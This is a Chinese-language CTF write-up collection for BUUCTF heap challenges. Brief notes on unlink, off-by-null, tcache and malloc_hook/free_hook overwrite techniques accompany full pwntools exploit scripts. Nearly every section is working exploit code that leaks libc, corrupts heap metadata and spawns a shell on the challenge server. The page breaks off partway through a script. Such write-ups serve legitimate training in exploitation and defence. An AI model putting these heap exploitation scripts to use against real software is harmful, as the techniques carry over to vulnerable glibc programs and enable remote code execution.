context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x45216, 0x4526A, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 25674
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
b *0x40148F
c
x/6xg 0x4040E0
x/6xg 0x404160
"""
gdb.attach(io, gdbscript=gdbscript)

def add(size: int):
sla(b"your choice?", b"1")
sla(b"idx?\n", str(size).encode())

def edit(index: int, content: bytes):
sla(b"your choice?", b"2")
sla(b"idx?\n", str(index).encode())
sl(content)

def backdoor():
sla(b"your choice?", b"6")

def free(index: int):
sla(b"your choice?", b"3")
sla(b"idx?\n", str(index).encode())

for i in range(8):
add(i)
for i in range(8):
free(i)
add(8)
edit(7, p64(0x4040C0 - 0x10))
backdoor()
it()

sctf_2019_easy_heap

这个题目算是简单题,有些东西就忘了,大概就是传统的unlink打法,然后malloc_hook和main_area地址比较接近,只要bss有main_aren地址之后,就可以直接改偏移,然后打malloc_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./sctf_2019_easy_heap"
lib_path=""
#lib_path="/home/zhou/glibc-all-in-one/libs/2.27-3ubuntu1_amd64"
parm=elf_path
#parm=[elf_path,"127.0.0.1","3339"]
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if lib_path:
libc = ELF(f"{lib_path}/libc.so.6")
else:
libc=elf.libc



if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 27196
io = remote(remote_ip, remote_port)
else:
if lib_path:
io = process(parm,env= {'LD_LIBRARY_PATH': lib_path})
else:
io = process(parm)



def debug():
global io
gdbscript = """
b
c
x/20xg $rebase(0x202060)
x/xg $rebase(0x202040)
"""
gdb.attach(io, gdbscript=gdbscript)



def debug_force():
global io
io.close()
gdbscript = """
b *$rebase(0x1134)
c
"""
if lib_path:
io=gdb.debug(parm,env= {'LD_LIBRARY_PATH': lib_path}, gdbscript=gdbscript)
else:
io=gdb.debug(parm, gdbscript=gdbscript)

#0x1000
def add(size):
sla(b">> ",b"1")
sla(b"Size: ",str(size))

def free(idx):
sla(b">> ",b"2")
sla(b"Index: ",str(idx))


# def show(idx):
# sla(b"6. Bye :)\n",b"4")
# sla(b"ID:",str(idx))

#off by null
def edit(idx,content):
sla(b">> ",b"3")
sla(b"Index: ",str(idx))
sa(b"Content: ",content)

# def rol(val,k):
# s=bin(val)[2:]
# return int(s[k:]+s[:k],2)
# def ror(val,k):
# s=bin(val)[2:]
# return int(s[-k:]+s[:len(s)-k],2)
# def convert_str_asmencode(content: str):
# out = ""
# for i in content:
# out = hex(ord(i))[2:] + out
# out = "0x" + out
# return out

#debug_force()
ru(b"Mmap: ")
shellcode_addr=int(rld(),16)
shellcode=asm(shellcraft.sh())


add(0X418)
ru(b"chunk at [0] Pointer Address ")
bss_addr=int(rld(),16)-8
add(0x18)
add(0x28)
add(0x4f8)
add(0x18)
free(0)
edit(2,b"a"*0x20+p64(0x470))
free(3)
free(1)
add(0x418)
add(0x18)
add(0x28)
add(0x18)
free(3)
edit(1,p64(bss_addr+0x40)+b'\n')
add(0x28)
add(0x28)
edit(6,p64(len(shellcode)+0x10)+p64(shellcode_addr)+p64(0x20)+b"\x30\n")
edit(5,p64(shellcode_addr)+b"\n")
edit(4,shellcode+b"\n")
add(0x10)
#debug()
it()

利用unlink栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# from LibcSearcher import LibcSearcheronline
from pwn import *


it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./unlink"

parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc





if len(sys.argv) > 1:
if sys.argv[1]=="ssh":
shell = ssh(host="node4.buuoj.cn", user="unlink", port=26277, password="guest")
io=shell.process(elf_path)
else:
remote_ip = "node4.buuoj.cn"
remote_port = 29038
io = remote(remote_ip, remote_port)
else:
io = process(parm)



ru(b"here is stack address leak: ")
stack_addr=int(rld(),16)
ru(b"here is heap address leak: ")
heap_addr=int(rld(),16)
shell=0x8048566
sla(b"get shell!\n",p32(shell).ljust(16,b"a")+p32(stack_addr+0x8)+p32(heap_addr+0xc))
it()

t3sec2018_hero

利用off by null进行unlink

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./hero"
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc




if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 26668
io = remote(remote_ip, remote_port)
else:
io = process(parm)



def debug():
global io
gdbscript = """
b *$rebase(0xF4C)
c
x/10xg $rebase(0x2020C0)
x/10xg $rebase(0x202060)
"""
gdb.attach(io, gdbscript=gdbscript)



def debug_force():
global io
io.close()
gdbscript = """
b *0x40074F
c
"""
io=gdb.debug(parm, gdbscript=gdbscript)


#112
def add(name,power):
sla(b"Your choice: ",b"1")
sa(b"What's your hero's name:\n",name)#off by null
sa(b"What's your hero's power:\n",power)


#没有清空
def free(idx):
sla(b"Your choice: ",b"4")
sla(b"What hero do you want to remove?\n",str(idx))

def show(idx):
sla(b"Your choice: ",b"2")
sla(b"What hero do you want to show?\n",str(idx))


def edit(idx,name,power):
sla(b"Your choice: ",b"3")
sla(b"What hero do you want to edit?\n",str(idx))
sa(b"What's your hero's name:\n",name)#off by null
sa(b"What's your hero's power:\n",power)
# def convert_str_asmencode(content: str):
# out = ""
# for i in content:
# out = hex(ord(i))[2:] + out
# out = "0x" + out
# return out


#debug_force()
add(b"a",b"b")
add(b"a",b"b")
add(b"a"*0x60+p64(0x2e0),b"b")
for i in range(3,10):
add(b"a",b"b")
for i in range(9,2,-1):
free(i)
free(0)
free(2)#重叠堆块
for i in range(7):#用完7个tcache
add(b"a",b"b")
add(b"b",b"a")
show(8)
ru(b"Power:")
libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))+0x7fd2ff359000-0x7fd2ff745061
add(b"a",b"b")
free(0)
free(2)
free(1)
free(9)
add(b"a",p64(libc_base+libc.sym["__free_hook"]))
add(b"/bin/sh\0",b"a")#1
add(b"a",b"a")
add(b"a",p64(libc_base+libc.sym["system"]))
free(1)
#debug()
it()

sctf2019_easy_heap

利用bss unlink达到任意地址写,主要可以写shellcode和修改free的ptr
然后就是利用普通的unlink达到堆块重叠的效果
这里需要爆破free_hook
https://buuoj.cn/challenges#sctf2019_easy_heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./easy_heap"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x4526A, 0x45216, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []


if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port =25857
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)



def debug():
global io
gdbscript = """
b *$rebase(0x11FF)
c
x/20xg $rebase(0x202060)
"""
gdb.attach(io, gdbscript=gdbscript)

def debug_force():
global io
io.close()
gdbscript = """
b *$rebase(0xe5c)
b *$rebase(0x1134)
c
x/0xg $rebase(0x202060)
x/10xg $rebase(0x202100)
x/xg $rebase(0x2021A0)
"""
io=gdb.debug(elf_path,gdbscript=gdbscript)


#0x1000
def add(size):
sla(b">> ", b"1")
sla(b"Size: ",str(size))

#清零了
def free(index):
sla(b">> ", b"2")
sla(b"Index: ",str(index))

# def show(index):
# sla(b">> ", b"3")
# sla(b"index> ",str(index))

def edit(index,content):
sla(b">> ", b"3")
sla(b"Index: ",str(index))
sa(b"Content: ",content)



# def convert_str_asmencode(content: str):
# out = ""
# for i in content:
# out = hex(ord(i))[2:] + out
# out = "0x" + out
# return out

#off by null

ru(b"Mmap: ")
shellcode_addr=int(rld(),16)
add(0x28)
ru(b"chunk at [0] Pointer Address ")
ptr_addr=int(rld(),16)
load_addr=ptr_addr-0x202068
add(0x4f8)
edit(0,p64(0)+p64(0x21)+p64(ptr_addr-0x18)+p64(ptr_addr-0x10)+p64(0x20))
add(0x18)
free(1)
edit(0,p64(0)*2+p64(0x500)+p64(ptr_addr+0x8)+b"\n")
edit(0,p64(0x500)+p64(shellcode_addr)+b"\n")
edit(1,asm(shellcraft.sh())+b"\n")
add(0x18)
add(0x4f8)
add(0x4f8)
add(0x18)
free(4)
edit(2,p64(0)*2+p64(0x520))
free(5)
add(0x4f8)
add(0x18)
add(0x18)
add(0x18)
free(7)
free(8)
edit(0,p64(0)*2+p64(0x18)+b"\xd0"+b"\n")
edit(2,b"\x90\n")
edit(5,b"\xe8\xa8\n")
add(0x18)
add(0x18)
add(0x18)


edit(8,p64(shellcode_addr)+b"\n")
free(1)
sl(b"ls")
it()

gwctf_2019_chunk

https://buuoj.cn/challenges#gwctf_2019_chunk
利用malloc_hook改成realloc,然后realloc_hook改成one_gadget
malloc_hook修改relloc的push指令达到符合one_gadget的效果
off by null的unlink

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45


#0~255
def add(idx,size):
sla(b"Your choice: ", b"1")
sla(b"me a book ID: ",str(idx))
sla(b"how long: ",str(size))

#清零了
def free(index):
sla(b"Your choice: ", b"3")
sla(b"one to throw?\n",str(index))

def show(index):
sla(b"Your choice: ", b"2")
sla(b"want to show",str(index))

#off by null
def edit(index,content):
sla(b"Your choice: ", b"4")
sla(b"book to write?",str(index))
sa(b"Content: ",content)



add(0,0x88)
add(1,0x68)
add(2,0xf8)
add(3,0x18)
free(0)
edit(1,b"a"*0x60+p64(0x100))
free(2)
add(0,0x88)
show(1)
ru(b"Content: ")
libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))+0x7f07d7715000-0x7f07d7ad9b78
add(2,0x68)
free(1)
edit(2,p64(libc_base+libc.sym["__malloc_hook"]-0x23)+b"\n")
add(1,0x68)
add(4,0x68)
edit(4,b"a"*(0x13-8)+p64(libc_base+one_gadget[3])+p64(libc_base+libc.sym["realloc"]+2)+b"\n")

add(5,0x18)
it()

jarvisoj_level6

BUUCTF在线评测 (buuoj.cn)

下面题目的x86版本,需要注意的就是size问题,unlink是ptr-12和ptr-4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79

from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./freenote_x86"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 25857
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
c
x/20xw *0x804A2EC
"""
gdb.attach(io, gdbscript=gdbscript)

def add(content):
sla(b"Your choice: ", b"2")
sla(b"Length of new note: ",str(len(content)))
sa(b"Enter your note: ",content)

def free(index):
sla(b"Your choice: ", b"4")
sla(b"Note number: ",str(index))

def show():
sla(b"Your choice: ", b"1")

def edit(index,content):
sla(b"Your choice: ", b"3")
sla(b"Note number: ",str(index))
sla(b"Length of note: ",str(len(content)))
sa(b"Enter your note: ",content)

add(b"a")
add(b"a")
add(b"a")
add(b"a")
free(0)
add(b"a")
show()
ru(b"0. ")
libc_base=u32(ru(b"\xf7"))+0xf7d5d000-0xf7f0d761
free(2)
free(0)
add(b"a"*4)
show()
ru(b"0. aaaa")
heap_addr=u32(r(4))
free(0)
free(1)
ptr=heap_addr-0xc00
payload=p32(0)+p32(0x109)+p32(ptr-12)+p32(ptr-8)
add(payload)
payload=p32(0)*0x20+p32(0x108)+p32(0x88)+p32(0)*2
add(payload)
free(2)
edit(0,p32(2)+p32(1)+p32(0x10)+p32(ptr))
edit(0,p32(libc_base+next(libc.search(b"/bin/sh\0")))+p32(1)+p32(4)+p32(libc_base+libc.sym["__free_hook"]))
edit(1,p32(libc_base+libc.sym["system"]))
free(0)
it()

jarvisoj_guestbook2

BUUCTF在线评测 (buuoj.cn)

题目的一些io处理是真的脑瘫,非常烦,而且malloc大小也有限制,必须是0x80的整数倍

返回给用户态的全部指向mem,但unlink要用到的假ptr必须是指向chunk,所以一般我们都需要在chunk里面伪造一个chunk,这样ptr就指向了假头

注意unsorted bin还有small bins分配的时候如果剩下的大小<MINISZIE,就会直接一起返回,不会切割出来,不然会切割

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88

from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./guestbook2"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x4526A, 0x45216, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port =26763
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
c
x/20xg *0x6020A8
"""
gdb.attach(io, gdbscript=gdbscript)

def add(content):
sla(b"Your choice: ", b"2")
sla(b"Length of new post: ",str(len(content)))
sa(b"Enter your post: ",content)

def free(index):
sla(b"Your choice: ", b"4")
sla(b"Post number: ",str(index))

def show():
sla(b"Your choice: ", b"1")

def edit(index,content):
sla(b"Your choice: ", b"3")
sla(b"Post number: ",str(index))
sla(b"Length of post: ",str(len(content)))
sa(b"Enter your post: ",content)

add(b"a")#0
add(b"a")#1
add(b"a")#2
add(b"a")#3
free(2)
add(b"\n")#2
show()
ru(b"2. ")
libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))+0x7fb369673000-0x7fb369a37b0a
free(2)
free(0)
add(b"a"*8)#0
show()
ru(b"0. aaaaaaaa")
heap_addr=u64(rld().ljust(8,b"\0"))

free(1)
free(0)
ptr=heap_addr-0x17f0
payload=p64(0)+p64(0x111)+p64(ptr-0x18)+p64(ptr-0x10)
add(payload)
paylaod=p64(0)*16+p64(0x110)+p64(0x90)
add(paylaod)
free(2)
edit(0,p64(2)+p64(1)+p64(0x20)+p64(ptr))
edit(0,p64(libc_base+next(libc.search(b"/bin/sh\0")))+p64(1)+p64(0x8)+p64(libc_base+libc.sym["__free_hook"]))
edit(1,p64(libc_base+libc.sym["system"]))
free(0)
it()
exit(0)

zctf_2016_note3

BUUCTF在线评测 (buuoj.cn)

题目很简单,可以通过多分配堆直接修改掉bss保存的size,然后就是unlink就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./zctf_2016_note3"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port =25697
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
c
x/9xg 0x6020C0
"""
gdb.attach(io, gdbscript=gdbscript)

#<=1024
def add(size,content):
sla(b"option--->>\n", b"1")
sla(b"ength of the note content:(less than 1024)\n",str(size))
sla(b"Input the note content:\n",content)


def free(index):
sla(b"option--->>\n", b"4")
sla(b"Input the id of the note:\n",str(index))

def edit(index,content):
sla(b"option--->>\n", b"3")
sla(b"Input the id of the note:\n",str(index))
sla(b"Input the new content:\n",content)

add(0x28,b"a")
add(0x18,b"a")
add(0x88,b"a")
add(0x18,b"/bin/sh\0")
for i in range(4,8):
add(0x18,b"a"*0x18)
ptr=0x6020c8
edit(0,p64(0)+p64(0x41)+p64(ptr-0x18)+p64(ptr-0x10)+p64(0)+p64(0x21)+p64(0)*2+p64(0x40)+p64(0x90))
free(2)
edit(0,p64(0)*3+p64(ptr+8)+p64(elf.got["free"])+p32(elf.got["puts"]))
edit(1,p32(elf.plt['puts'])+p8(0))
free(2)
libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))-libc.sym["puts"]
system_addr=libc_base+libc.sym["system"]
edit(1,p32(system_addr&0xffffffff)+p16((system_addr>>32)&0xffff))
free(3)
it()

zctf2016_note2

BUUCTF在线评测 (buuoj.cn)

这个题目总体不难,大概也能猜到漏洞在哪里,就是因为是strcpy的原因,要考虑到\x00截断

image.png

这里+14是因为data从14开始,v5-strlen(dest)就是判断剩下还有多少空余,由于read函数里面的长度<v5所以一般的长度都不行,除了size0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./note2"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port =29174
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
b *0x400F1C
c
x/xg 0x602160
x/4xg 0x602120
x/4xg 0x602140
"""
gdb.attach(io, gdbscript=gdbscript)

def add(size,content):
sla(b"option--->>\n", b"1")
sla(b"Input the length of the note content:(less than 128)\n",str(size))
sla(b"Input the note content:\n", content)

def free(index: int):
sla(b"option--->>\n", b"4")
sla(b"Input the id of the note:\n", str(index).encode())

def show(index):
sla(b"option--->>\n", b"2")
sla(b"Input the id of the note:\n",str(index))

OVERWRITE=1
APPEND=2
def edit(index,chocie,content):
sla(b"option--->>\n", b"3")
sla(b"Input the id of the note:\n",str(index))
if chocie==OVERWRITE:
sla(b"do you want to overwrite or append?[1.overwrite/2.append]\n",b"1")
else:
sla(b"do you want to overwrite or append?[1.overwrite/2.append]\n",str(2))
sla(b"TheNewContents:",content)

sla(b"Input your name:",b"a")
sla(b"Input your address:\n",b"a")
ptr=0x602120
add(0x28,p64(0)+p64(0x41)+p64(ptr-0x18)+p64(ptr-0x10))
add(0x0,b"")
add(0x80,b"a")
add(0x18,b"/bin/sh\0")
edit(1,OVERWRITE,b"a"*0x18+p8(0x90))
for i in range(6):
edit(1,OVERWRITE,b"a"*(0x18-i-1))
edit(1,OVERWRITE,b"a"*0x10+p8(0x40))

free(2)
edit(0,OVERWRITE,b"a"*0x18+p64(ptr+0x8))
edit(0,OVERWRITE,p64(elf.got["puts"]))
show(1)
ru(b"Content is ")
libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))-libc.sym["puts"]
edit(0,OVERWRITE,p64(libc_base+libc.sym["__free_hook"]))
edit(1,OVERWRITE,p64(libc_base+libc.sym["system"]))
free(3)
it()

pwnable_secret_of_my_heart

https://buuoj.cn/challenges#pwnable_secret_of_my_heart

比较简单的off by null题目,伪造一个chunk就好

但最后需要利用malloc跳到realloc然后用跳到realloc的位置来调节栈结构在修改realloc_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
def add(size: int, name: bytes, secret: bytes):
sla(b"choice :", b"1")
sla(b"of heart : ", str(size).encode())
sa(b"Name of heart :", name)
sa(b"secret of my heart :", secret)

def free(index: int):
sla(b"choice :", b"3")
sla(b"Index :", str(index).encode())

def show(index: int):
sla(b"choice :", b"2")
sla(b"Index :", str(index).encode())

add(0x88, b"a", b"b") # 0
add(0x18, b"a" * 32, b"b") # 1
add(0xF0, b"a" * 32, b"b") # 2
add(0x18, b"a" * 32, b"b") # 3
free(0)
free(1)
add(0x18, b"a" * 32, b"a" * 0x10 + p64(0xB0)) # 0
free(2)
add(0x88, b"a", b"b") # 1
show(0)
ru(b"cret : ")
libc_base = u64(ru(b"\x7f").ljust(8, b"\0")) - 0x7F640CE62B78 + 0x7F640CA9E000
add(0x68, b"a", b"c") # 2
add(0x68, b"c", b"a") # 4
free(0)
free(4)
free(2)
malloc_hook_addr = libc_base + libc.sym["__malloc_hook"]
add(0x68, b"a", p64(malloc_hook_addr - 0x23))
add(0x68, b"a", b"a")
add(0x68, b"a", b"a")
realloc_addr = libc_base + libc.sym["__libc_realloc"] + 16
add(0x68, b"a", b"b" * 11 + p64(0x4526A + libc_base) + p64(realloc_addr))
sla(b"choice :", b"1")
sla(b"of heart : ", str(20).encode())
sa(b"Name of heart :", b"a")
it()

qctf_2018_babyheap

BUUCTF在线评测

简单题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# from LibcSearcher import LibcSearcheronline
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./QCTF_2018_babyheap"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x45216, 0x4526A, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 28069
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
b
c
x/8xg $rebase(0x202040)
"""
gdb.attach(io, gdbscript=gdbscript)

# off by null
def add(size: int, content: bytes):
sa(b"choice :\n", b"1")
sa(b"Size: \n", str(size).encode())
if len(content) == size:
sa(b"Data: ", content)
else:
sla(b"Data: ", content)

# def edit(index: int, content: bytes):
# sla(b"Choice: \n", b"2")
# sa(b"Enter index: ", str(index).encode())
# sa(b"Enter data: ", content)

def free(index: int):
sa(b"choice :\n", b"2")
sa(b"Index: \n", str(index).encode())

def show():
sa(b"choice :\n", b"3")

def convert_str_asmencode(content: str):
out = ""
for i in content:
out = hex(ord(i))[2:] + out
out = "0x" + out
return out

add(0x418, b"a")
add(0x18, b"a")
add(0x4F8, b"a")
add(0x18, b"a")
free(0)
free(1)
add(0x18, p64(0) * 2 + p64(0x440))
free(2)
add(0x418, b"a")
show()
ru(b"0 : ")
libc_base = u64(ru(b"\x7f").ljust(8, b"\0")) + 0x7FA38FD37000 - 0x7FA390122CA0
add(0x18, b"a")
free(0)
free(2)
add(0x18, p64(libc_base + libc.sym["__free_hook"]))
add(0x18, b"/bin/sh\0")
add(0x18, p64(libc_base + libc.sym["system"]))
free(2)
it()

cscctf_2019_qual_babyheap

BUUCTF在线评测

比较简单的unlink,堆块重叠

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# from LibcSearcher import LibcSearcheronline
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./cscctf_2019_qual_babyheap"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x45216, 0x4526A, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 25977
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
b
c
x/10xg $rebase(0x2020A0)
"""
